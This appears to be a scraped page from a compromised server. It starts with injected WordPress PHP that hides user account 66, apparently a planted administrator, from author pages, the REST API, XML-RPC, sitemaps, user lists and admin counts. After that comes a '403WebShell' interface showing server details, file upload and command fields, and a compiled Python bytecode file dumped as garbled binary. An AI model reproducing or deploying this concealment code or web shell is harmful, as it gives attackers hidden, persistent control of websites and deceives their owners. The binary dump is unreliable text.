add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/self/root/lib/python3.12/concurrent/futures/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/lib/python3.12/concurrent/futures/__pycache__/thread.cpython-312.pyc
�

:5j�"���dZdZddlmZddlZddlZddlZddlZddlZddl	Z	ej�Zdaej�Zd�Zej e�ee	d�r3e	j$ej&ej(ej*��Gd	�d
�Zd�ZGd�d
ej0�ZGd�dej4�Zy)zImplements ThreadPoolExecutor.z"Brian Quinlan (brian@sweetapp.com)�)�_baseNFc���t5daddd�ttj	��}|D]\}}|jd��|D]\}}|j
��y#1swY�\xYw�NT)�_global_shutdown_lock�	_shutdown�list�_threads_queues�items�put�join)r
�t�qs   �0/usr/lib/python3.12/concurrent/futures/thread.py�_python_exitrsl��	���	����&�&�(�)�E�����1�	���d�������1�	�������s�A%�%A.�register_at_fork)�before�after_in_child�after_in_parentc�<�eZdZd�Zd�Zeej�Zy)�	_WorkItemc�<�||_||_||_||_y�N)�future�fn�args�kwargs)�selfrrrrs     r�__init__z_WorkItem.__init__/s����������	����c�$�|jj�sy	|j|ji|j��}|jj|�y#t$r'}|jj|�d}Yd}~yd}~wwxYwr)r�set_running_or_notify_cancelrrr�
set_result�
BaseException�
set_exception)r�result�excs   r�runz
_WorkItem.run5st���{�{�7�7�9��	+��T�W�W�d�i�i�7�4�;�;�7�F�
�K�K�"�"�6�*���	��K�K�%�%�c�*��D��	�s�&A�	B�(B
�
BN)	�__name__�
__module__�__qualname__rr'�classmethod�types�GenericAlias�__class_getitem__�rrrr.s���+�$�E�$6�$6�7�rrc�`�|�	||�			|j�}|�|j�~�&|�}ts|�|jr|�d|_|jd�y~�]#t$r=tjjdd��|�}|�|j	�YywxYw#tj$r9|�}|�|jj�~|jd��}Y��wxYw#t$r$tjjdd��YywxYw)NzException in initializer:T)�exc_info)�blockzException in worker)r#r�LOGGER�critical�_initializer_failed�
get_nowait�queue�Empty�_idle_semaphore�release�getr'rr)�executor_reference�
work_queue�initializer�initargs�executor�	work_items      r�_workerrBEs@����	���"�!D��
7�&�1�1�3�	��$��
�
����)�+�H�
�H�,��0B�0B��'�)-�H�&����t�$���=���	��L�L�!�!�"=��!�M�)�+�H��#��,�,�.��	���;�;�
7�-�/���'��,�,�4�4�6��&�N�N��N�6�	�

7��8�D�
�����3�d��C�D�sM�A(�D�B1�A	D�&D�(AB.�-B.�1A	C=�:D�<C=�=D�*D-�,D-c��eZdZdZy)�BrokenThreadPoolzR
    Raised when a worker thread in a ThreadPoolExecutor failed initializing.
    N)r(r)r*�__doc__r/rrrDrDss��rrDc��eZdZej�j
Z		d	d�Zd�Ze	jjje_d�Zd�Z
d
dd�d�Ze	jjje_y)�ThreadPoolExecutorNc���|�%tdtj�xsddz�}|dkrtd��|�t	|�std��||_tj�|_	tjd�|_t�|_d|_d|_tj"�|_|xsd	|j'�z|_||_||_y)
a�Initializes a new ThreadPoolExecutor instance.

        Args:
            max_workers: The maximum number of threads that can be used to
                execute the given calls.
            thread_name_prefix: An optional name prefix to give our threads.
            initializer: A callable used to initialize worker threads.
            initargs: A tuple of arguments to pass to the initializer.
        N� ��rz"max_workers must be greater than 0zinitializer must be a callableFzThreadPoolExecutor-%d)�min�os�	cpu_count�
ValueError�callable�	TypeError�_max_workersr7�SimpleQueue�_work_queue�	threading�	Semaphorer9�set�_threads�_brokenr�Lock�_shutdown_lock�_counter�_thread_name_prefix�_initializer�	_initargs)r�max_workers�thread_name_prefixr>r?s     rrzThreadPoolExecutor.__init__~s������b�2�<�<�>�#6�Q�!�";�<�K��!���A�B�B��"�8�K�+@��<�=�=�'��� �,�,�.���(�2�2�1�5������
�������'�n�n�.���$6�%P�%<�t�}�}��%N�	
� �'���!��rc��|j5t5|jrt|j��|jrtd��trtd��t
j�}t||||�}|jj|�|j�|cddd�cddd�S#1swYnxYwddd�y#1swYyxYw)Nz*cannot schedule new futures after shutdownz6cannot schedule new futures after interpreter shutdown)r[rrYrDr�RuntimeErrorr�FuturerrTr�_adjust_thread_count)rrrr�f�ws      r�submitzThreadPoolExecutor.submit�s���
�
 �
 �	�"7�	��|�|�&�t�|�|�4�4��~�~�"�#O�P�P��"�$:�;�;�����A��!�R��v�.�A���� � ��#��%�%�'��	�	�	�	��	�	�	�s#�C�BB?�,	C�?C	�C�Cc���|jjd��ry|jfd�}t|j�}||j
kr�d|jxs||fz}tj|ttj||�|j|j|jf��}|j�|jj|�|jt |<yy)Nr)�timeoutc�&�|jd�yr)r)�_rs  r�
weakref_cbz;ThreadPoolExecutor._adjust_thread_count.<locals>.weakref_cb�s
��
�E�E�$�Krz%s_%d)�name�targetr)r9�acquirerT�lenrXrRr]rU�ThreadrB�weakref�refr^r_�start�addr	)rrm�num_threads�thread_namer
s     rrez'ThreadPoolExecutor._adjust_thread_count�s������'�'��'�2��!�,�,�	��$�-�-�(����*�*�*�!�T�%=�%=�%E��%0�%2�2�K�� � �k�'�'.�{�{�4��'D�'+�'7�'7�'+�'8�'8�'+�~�~�'7�8�A�

�G�G�I��M�M���a� �!%�!1�!1�O�A��+rc�"�|j5d|_		|jj�}|�.|jjt|j���L#tj
$rYnwxYw	ddd�y#1swYyxYw)NzBA thread initializer failed, the thread pool is not usable anymore)	r[rYrTr6r7r8rr$rD)rrAs  rr5z&ThreadPoolExecutor._initializer_failed�s���
�
 �
 �
	S�4�D�L��� $� 0� 0� ;� ;� =�I��(��$�$�2�2�3C�D�L�L�3Q�R�
���{�{������
	S�
	S�
	S�s-�	B�A"�1B�"A8�5B�7A8�8B�BF)�cancel_futuresc�z�|j5d|_|r9		|jj�}|�|jj��8|jjd�ddd�|r"|jD]}|j��yy#tj
$rY�]wxYw#1swY�GxYwr)r[rrTr6r7r8r�cancelrrXr)r�waitrzrAr
s     r�shutdownzThreadPoolExecutor.shutdown�s���
�
 �
 �	'�!�D�N����$(�$4�$4�$?�$?�$A�	�!�,�!�(�(�/�/�1�
�
��� � ��&�	'� ��]�]�
������
���!�;�;�����	'�	'�s-�B1�B�8B1�B.�+B1�-B.�.B1�1B:)N�Nr/)T)r(r)r*�	itertools�count�__next__r\rrhr�ExecutorrErer5r~r/rrrGrGyss���y��� �)�)�H�<>�,.�$"�L�"�^�^�*�*�2�2�F�N�2�.S��E��(�~�~�.�.�6�6�H�rrG)rE�
__author__�concurrent.futuresrr�r7rUr,rsrM�WeakKeyDictionaryr	rrZrr�_register_atexit�hasattrrrp�_at_fork_reinitr:rrB�BrokenExecutorrDr�rGr/rr�<module>r�s���%�
1�
�$������	�,�'�+�+�-���	�'�	���(����	���<�(��2�!�"��B���4�<�<�'<�'L�'L�(=�(E�(E�G�
8�8�.+D�\�u�+�+��v7����v7r

Youez - 2016 - github.com/yon3zu
LinuXploit